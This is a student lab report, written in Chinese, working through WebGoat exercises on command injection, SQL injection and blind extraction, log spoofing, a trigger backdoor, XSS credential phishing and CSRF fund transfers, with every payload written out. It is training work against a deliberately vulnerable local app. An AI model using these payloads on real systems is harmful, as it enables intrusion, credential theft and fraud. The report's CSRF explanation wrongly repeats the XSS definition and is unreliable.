一、实践原理
- SQL注入
SQL注入漏洞是指在Web应用对后台数据库查询语句处理存在的安全漏洞。也就是,在输入字符串中嵌入SQL指令,在设计程序中忽略对可能构成攻击的特殊字符串的检查。后台数据库将其认作正常SQL指令后正常执行,可能实现对后台数据库进行各种操作,甚至造成破坏后台数据库等严重后果。
- XSS攻击
就是在网站任何接受正常文本输入的地方,输入Javascript脚本,并让脚本执行。
-
- Persistent or Stored在任何BBS的帖子中,只要是能留言的地方,在输入留言的地方输入脚本,如果服务器后台过滤不严格,将该脚本存储到后台。那随后任何用户浏览该网页,服务器都会从后台提取所有用户留言,包括恶意脚本,生成网页,发给浏览者,那浏览者都会"收到"该脚本,并在其浏览器中运行。
- Reflected即"反射"。攻击者发出的攻击代码 被 有漏洞的服务器,反射到受害者的浏览器中
- DOM Based,DOM类型漏洞的是Javascript将数据未加验证动态添加到网页中。
- 跨站攻击
即Cross Site Script Execution(通常简写为XSS)是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。
二、实践过程
(一)WebGoat安装
- 下载Java -jar webgoat-container-7.0.1-war-exec.jar文件
- 输入java -jar webgoat-container-7.0.1-war-exec.jar运行WebGoat
- 安装jdk1.8(不安装没有左边的课程栏,参考这篇文章进行安装配置)
- 浏览器输入 localhost:8080/WebGoat ,输入用户名密码登录
(二)SQL注入攻击
1. 命令注入(Command Injection)
- 原理:修改提交的参数,使服务器执行恶意命令
- 目标:能够在目标主机上执行任何系统命令
- 在左侧菜单栏中选择 Injection Flaws->Command Injection
- 右键点击复选框选择Inspect Element审查网页元素对源代码进行更改,找到名字为 HelpFile 的 select 元素,在第一项内容的后面添加 "& netstat -an & ipconfig" ,修改后再次点击下拉框旁的 View
- 即可看到端口开放情况
2. 数字型SQL注入(Numeric SQL Injection)
- 原理:利用SQL语句的特点,注入数字型数据,使系统执行恶意代码
- 目标:对SQL语句注入特征字符,组合形成新的SQL语句,以此来查询所有城市的天气情况。
- 左侧课程栏选中 Injection Flaws -> Numeric SQL Injection
- 对源代码 option 进行修改,将选中的城市编号
value="101"
改为value="101 or 1=1"
- 点击Go!即可显示所有城市的天气。
3. 日志欺骗(Log Spoofing)
- 原理:在系统日志中抹除黑客访问的记录,混淆安全软件视听。
- 目标:使得日志中仅有用户名为20174303的用户成功登录。
- 左侧课程栏选中 Injection Flaws -> Log Spoofing
- 在User Name文本框中填写 guest%0d%0aLogin Succeeded for username: 20174303 ,其中
%0d
是回车,%oa
是换行符,可以让注入信息转行显示。 - 点击登录后,可以看到我们注入的语句在第二行显示出来了。
4. 字符串型注入(String SQL Injection)
- 原理:利用SQL语句的特点,注入字符串,使系统执行恶意代码
- 目标:基于查询语句构造自己的SQL 注入字符串将所有信用卡信息显示出来。
- 在左侧菜单栏中选择Injection Flaws->String SQL Injection
- 用
'
提前闭合""
,插入永真式1=1
,--
注释掉后面的内容,可以输入查询的用户名Smith' or 1=1--选择表里面的所有数据
5. LAB: SQL Injection
- 原理:利用SQL语句的特点,注入字符串,使系统执行恶意代码
- 目标:通过注入字符串绕过认证
- 左侧课程栏选中Injection Flaws -> LAB: SQL Injection
- 右键点击页面,选择inspect Element审查网页元素对源代码进行修改,将password密码框的最大长度限制改为20
- 重新输入
' or 1=1 --
,登录成功!
6. 数据库后门(Database Backdoors)
- 原理:利用数据库中的触发器,使用INSERT语句来使系统执行恶意代码
- 目标:通过注入字符串绕过认证
- 输入用户ID
101
得到该用户信息
- 输入注入语句 101; update employee set salary=10000
执行两个语句
- 输入用户id101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20174303@ljh.com' WHERE userid = NEW.userid
7. 数字型盲注入(Blind Numeric SQL Injection)
- 输入查询语句101 AND 1=1,因为两个条件都成立,所以页面返回帐号有效
- 输入查询语句 101 AND 1=2
,因为第二个条件不成立,所以而页面返回帐号无效
- 构造复杂语句101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 ); ,如果页面提示帐号有效,说明PIN>10000,否则PIN<=10000
- 后续使用二分法缩小判断范围,可以最终判断出PIN数值大小,输入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') = 2364 );
- 得到正确PIN值2364,输入验证,有效。
8. 字符串型盲注入(Blind String SQL Injection)
- 输入101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'H' );取得 pin 字段数值的第一个字母,并判断其是否比字 母“H”小
- 经过多次测试比较0-9、A-Z、a-z等字符串和页面的返回数据,判断出第一个字符为J,同理继续判断第二个字符,输入101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 2, 1) < 'h' );
- 最终的都正确PIN字段Jill输入验证
(三)XSS攻击
1. Phishing with XSS
- 目标:创建一个form要求填写用户名和密码,收集信息
- 编写一个含有文本框、提交按钮的表单的代码
</form><script>function hack(){ XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);} </script>
<form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br>
<input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR> - 左侧课程栏选中Cross-Site Scripting (XSS) -> Phishing with XSS
- 在文本框中搜索该代码,可以看到新的表单,输入用户名密码登录
2. Stored XSS Attacks
- 目标:创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容。
- 在留言板输入<script>alert("20174303 attack succeed ,congratulations!!!");</script>后点击
Submit
攻击成功
3. Reflected XSS Attacks
- 目标:使用攻击脚本创建一个URL,并将其发布到另一个网站、通过电子邮件发送,或者通过其他方式让受害者点击它。
- 序列码输入<script>alert(" 20174303 is coming!");</script>后点击
Submit
,显示内容为script脚本指定的警告框
(四)CSRF攻击
1.Cross Site Request Forgery
- 目标:向新闻组发送电子邮件。电子邮件包含一个图片,其URL指向一个恶意请求。
- 点击 XSS -> Cross Site Request Forgery(CSRF)
- 查看确定
Parameters
中的scr
和menu
- message中输入
<img src="http://localhost:8080/WebGoat/attack?Screen= 325&menu=900&transferFunds=4303" width="1" height="1" />
其中Screen和menu的值由右侧表格看出,语句
transferFunds=4303
意为把受害者的钱转走。 - title输入4303,点击submit后出现一个链接
- 点击链接,攻击成功!
2.CSRF Prompt By-Pass
- message中输入<iframe src="attack?Screen=318&menu=900&transferFunds=4303"> </iframe> <iframe src="attack?Screen=318&menu=900&transferFunds=CONFIRM"> </iframe>
- 生成链接后点击,攻击成功!
三、实验总结
1. 问题回答
(1)SQL注入攻击原理,如何防御
- 原理:SQL注入漏洞是指在Web应用对后台数据库查询语句处理存在的安全漏洞。也就是,在输入字符串中嵌入SQL指令,在设计程序中忽略对可能构成攻击的特殊字符串的检查。后台数据库将其认作正常SQL指令后正常执行,可能实现对后台数据库进行各种操作,甚至造成破坏后台数据库等严重后果。
- 防御:对输入的字符串规定内容,长度;对敏感数据加密;设定一定权限
(2)XSS攻击的原理,如何防御
- 原理:就是在网站任何接受正常文本输入的地方,输入Javascript脚本,并让脚本执行。
- 防御:提交时检测输入内容;网站注意检测消除XSS
(3)CSRF攻击原理,如何防御
- 原理:即Cross Site Script Execution(通常简写为XSS)是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。
- 防御:网站设置cookie时注意,每次都要验证;用户提交操作请求时要进行检测过滤,并进行验证
2.实验体会
这是最后一次实验了,完成的比较顺利,在本次实验中,熟悉了SQL注入、XSS攻击、跨站攻击的原理,也体会到这些攻击并不难实现,很可能就存在于我们的生活中,意识到了网络安全的重要性。在本学期完成实验的过程中,通过查阅资料也了解了很多关于网络安全的知识,希望在今后的学习或工作过程中,能够更多的学习。